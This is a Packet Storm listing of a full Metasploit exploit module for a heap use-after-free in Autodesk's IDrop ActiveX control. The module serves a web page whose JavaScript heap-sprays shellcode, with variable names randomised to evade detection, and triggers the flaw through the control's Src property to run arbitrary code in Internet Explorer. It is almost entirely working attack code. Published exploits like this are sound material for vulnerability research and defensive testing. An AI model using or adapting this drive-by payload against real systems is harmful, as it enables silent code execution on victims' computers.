Autodesk IDrop ActiveX Control Heap Memory Corruption

2009-11-2600:00:00
Elazar Broad
packetstormsecurity.com
JSON
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',  
'Description' => %q{  
This module exploits a heap-based memory corruption vulnerability in  
Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.  
An attacker can execute arbitrary code by triggering a heap use after  
free condition using the Src, Background, PackageXml properties.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Elazar Broad <elazarb[at]earthlink.net>', # Original exploit [see References]  
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation  
],  
'References' =>  
[  
[ 'OSVDB', '53265' ],  
[ 'BID', '34352' ],  
[ 'EDB', '8560' ],  
[ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]  
],  
'DisclosureDate' => 'Apr 2 2009',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
blocksize = 0x40000  
fillto = 550  
offset = target['Offset']  
  
# Randomize the javascript variable names  
idrop = rand_text_alpha(rand(100) + 1)  
j_function = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_mem = rand_text_alpha(rand(100) + 1)  
  
# Build out the message  
content = %Q|  
<html>  
<head>  
<script language='javascript' defer>  
function #{j_function}() {  
#{j_shellcode}=unescape('#{shellcode}');  
#{j_nops}=unescape('#{nops}');  
#{j_headersize}=20;  
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;  
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};  
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});  
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});  
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};  
#{j_memory}=new Array();  
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};  
  
var #{j_ret} = '';  
for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {  
#{j_ret} += unescape('%u0a0a');  
}  
for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {  
try {  
var #{j_mem} = #{idrop}.Src;  
#{idrop}.Src = 'http://' + #{j_ret};  
#{idrop}.Src = #{j_mem};  
#{idrop}.Src = 'http://' + #{j_ret};  
} catch(e){}  
  
}  
}  
</script>  
</head>  
<body onload='return #{j_function}();'>  
<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>  
</body>  
</html>  
|  
  
print_status("Sending #{self.name}")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
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